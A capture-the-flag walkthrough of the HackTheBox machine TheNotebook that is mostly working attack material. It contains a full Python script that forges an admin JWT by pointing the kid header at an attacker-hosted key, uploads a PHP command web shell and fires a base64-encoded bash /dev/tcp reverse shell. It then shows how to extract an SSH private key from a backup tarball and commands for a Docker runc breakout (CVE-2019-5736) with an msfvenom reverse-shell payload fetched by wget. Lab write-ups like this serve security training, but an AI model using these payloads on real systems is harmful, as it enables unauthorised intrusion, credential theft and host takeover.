TheNotebook was a Medium Level Box from HackTheBox, it’s OS is Linux and we got container also in it.
The first shell we got trough a JWT token which we can forge and become admin on the web application. Once admin it shows us the possibility to upload files in it, including php files. So we upload a malicious php, and got a reverse shell.
The root is trough a vulnerability in the docker, which we can escape and execute commands on the host machine.
The automated script is in the post, hope you enjoy.
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(The Notebook Web App)
B --> C[Create User]
C --> |SSTI| D(JWT Token)
D --> |Python Script| E[Automated Reverse Shell]
E --> |/var/backups| F[shaun]
F --> |sudo -l| G[Docker CVE 2019-5736]
G --> H[ROOT]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.230
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
Once we found just the port 80 opened, so let’s focus on this one to enumerate it.
We open it on the browser and see what is being shown.
When tryied to access 10.10.10.230 on the browser.
We go to /register
So we register an account
When we click in View Notes
we are redirect to our notes page, seems to be associated with our user id
When we got it on burp, the auth
token call my attention
We decode in base64 it
And seems to be a jwt
token
We decode it in jwt.io
Auth Bypass
So, we can try to bypass it
We create a rsa key on our box
1
openssl genrsa -out key.key 2048
Now we set the parameters on the jwt.io and encode it
We change the admin_cap to be 1, and put the kid to come to our box to download the key and authenticate.
1
eyJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4yMC9rZXkua2V5In0.eyJ1c2VybmFtZSI6IjB4NHJ0M21pcyIsImVtYWlsIjoiMHg0cnQzbWlzQGVtYWlsLmNvbSIsImFkbWluX2NhcCI6MX0.hV_wwhUpfW08GprUth6sPaI2Wi799ouFPyRI0F4IBggcN1dEE3J7HKnThY2tlDD45iwIgMwDlMDvtNVjLcsGtiZrALBEK5GOpR8b-58W03CJwQuv6mz00AnsAuip8rivgdQzrzmb4WvvCTMr1lZlgrmsw4Y2o5CEJRXfPkWHLFSI5qIGxQVgvV5slEF5T_b5pbrVLsaj7oBhhQgn33HgAZzU5pQbn8a4Y8K1npZSL60AVRj_EtlmBa8OmvyJ4UwAU7uXwtT-D4rQNqjsKpODn42ThyoC686b-G3QsXBhjsfhmK5IZ0ftVQzv6pZ_E6x822xWxZk-0fq8yKgThy8Smw
On 1 we enter on /admin (it can be found with gobuster or manually)
On 2 we change our cookie to the cookie we made
On 3, when we hit F5 it come to our box and download the key.key, and give me admin access
WebShell
We see the /admin/notes
folder and got some hints
PHP files being executed! Great!
Possibly a user, noah
So, we go to the upload file page
Because the site told me it’s executing php files, I’ll upload a simple php cmd
1
<?php system($_REQUEST["cmd"]); ?>
It get uploaded with a different name
But works also
So, we have code execution, and a reverse shell
Now, let’s automate it to get a reverse shell auto on this box
Scripting - www-data shell
As always we will use python skeleton to start building our script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
parser.add_argument('-u', '--username', help='Username to target', required=False)
parser.add_argument('-p', '--password', help='Password value to set', required=False)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
1
python3 the_note_auto.py -t 10.10.10.230 -li 10.10.14.20 -lp 443
the_note_auto.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/python3
# Date: 2021-10-13
# Exploit Author: 0x4rt3mis
# Hack The Box - TheNotebook
# Auto forge JWT, malicious php upload and reverse shell automated
import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import base64
import urllib.parse
import jwt
import os
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Set the handler to receive the reverse shell back
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# First we need to create a simple user
def createUser(rhost):
print("[+] Let's create the user !! [+]")
url = "http://%s:80/register" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "0x4rt3mis", "password": "123456", "email": "0x4rt3mis@email.com"}
r.post(url, headers=headers, data=data, proxies=proxies)
print("[+] User created !! [+]")
# Now let's just login to get the token
def loginUser(rhost):
print("[+] Let's log in as 0x4rt3mis !! [+]")
url = "http://%s:80/login" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "0x4rt3mis", "password": "123456"}
r.post(url, headers=headers, data=data, proxies=proxies)
r.get(url)
global cookie
cookie = r.cookies.get_dict()
cookie = cookie['uuid']
# Now let's create the token
def createToken(lhost):
print("[+] Let's create the malicious jwt token !! [+]")
print("[+] Let's creat the key.key !! [+]")
os.system("openssl genrsa -out key.key 2048 2>/dev/null")
print("[+] Openssl Key Created !!! [+]")
private_key = open("key.key", "r")
private_key = private_key.read().rstrip()
global encoded
encoded = jwt.encode(
{"username": "0x4rt3mis",
"email":"0x4rt3mis@email.com",
"admin_cap":"1"},
private_key,
algorithm="RS256",
headers={"kid": "http://%s/key.key" %lhost,
"typ":"JWT"},
)
# Let's change the token
def changeToken(rhost,cookie,encoded):
print("[+] Let's change the token !! [+]")
url = 'http://%s:80/' %rhost
r.cookies.clear()
r.get(url, proxies=proxies, cookies = {'uuid':'%s' %cookie, 'auth':'%s' %encoded})
print("[+] Token Changeeed!!! [+]")
# Upload file in python
def adminUpload(rhost):
url = "http://%s/admin/upload" %rhost
os.system('echo "<?php system(\$_REQUEST[\\"cmd\\"]); ?>" > 1.php')
files = {'file':('1.php', open('1.php', 'rb'))}
upload = r.post(url, files=files, proxies=proxies, cookies = {'uuid':'%s' %cookie, 'auth':'%s' %encoded})
os.system('rm 1.php')
global php_file
upload = r.get(url, proxies=proxies, cookies = {'uuid':'%s' %cookie, 'auth':'%s' %encoded})
index = upload.text.find("Your Files")
# Get only the php in it
php_file = upload.text[index:index+150].split('.php')[0]
php_file = php_file.split('>')[-1]
# Now trigger the reverse shell
def getReverse(rhost,lhost,lport,cookie,php_file):
print("[+] Now Let's get the reverse shell! [+]")
reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
message_bytes = reverse.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
payload = {
'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
payload_str = urllib.parse.urlencode(payload, safe='|')
url = "http://%s:80/%s.php?" %(rhost,php_file)
r.get(url, params=payload_str, proxies=proxies, cookies = {'uuid':'%s' %cookie, 'auth':'%s' %encoded})
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.ipaddress
lport = args.port
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Set up the web python server
webServer()
# Lets create the user
createUser(rhost)
# Login and grab the auth token
loginUser(rhost)
# Create jwt token
createToken(lhost)
# changeToken
changeToken(rhost,cookie,encoded)
#Upload the php
adminUpload(rhost)
# Get the rev shell
getReverse(rhost,lhost,lport,cookie,php_file)
if __name__ == '__main__':
main()
Ok, so let’s start our privilege escalation
www-data -> noah
We start looking at the directories on the box, and with the hint we got about the backups, we found an interesting file
1
2
tar -tvf home.tar.gz
tar xf home.tar.gz -O home/noah/.ssh/id_rsa
And we got a ssh key from noah
And log in
So, let’s become root
noah -> root
We realize that noah can execute root commands in a bunch of containeres
So, we need to look at the docker version to see how to exploit it
1
Docker version 18.06.0-ce, build 0ffa825
We found a exploit in exploitdb for this version of docker
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)
CVE-2019-5736
So, let’s try to exploit it.
Reading the exploit and some write-ups on the internet we get that there is a vulnerability in Docker before 18.09.2 which allows user to perform root commands in it and give root access on the host. The main idea here is from the container to overwrite the /bin/sh #!/proc/self/exe
, which is a symbolic link to the binary which started the container process. We’ll write to the runc binary and point it to the payload. When someone started the container, the payload will be triggered.
We’ll use this Exploit from GitHub
We need to overwrite the new_runc
file, which is going to be executed
1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.20 LPORT=5555 -f elf -o new_runc
Now we can exploit it
We download the files to the container
1
2
3
4
wget 10.10.14.20:8000/new_runc
wget 10.10.14.20:8000/bash_evil
wget 10.10.14.20:8000/overwrite_runc
wget 10.10.14.20:8000/replace.sh
Now we execute the things on the box
1
2
3
4
cp /bin/bash /bin/bash_original
chmod +x bash_evil over* repl* new*
cp bash_evil /bin/bash
./replace.sh
We execute the exploit
Open a new docker instance
And got root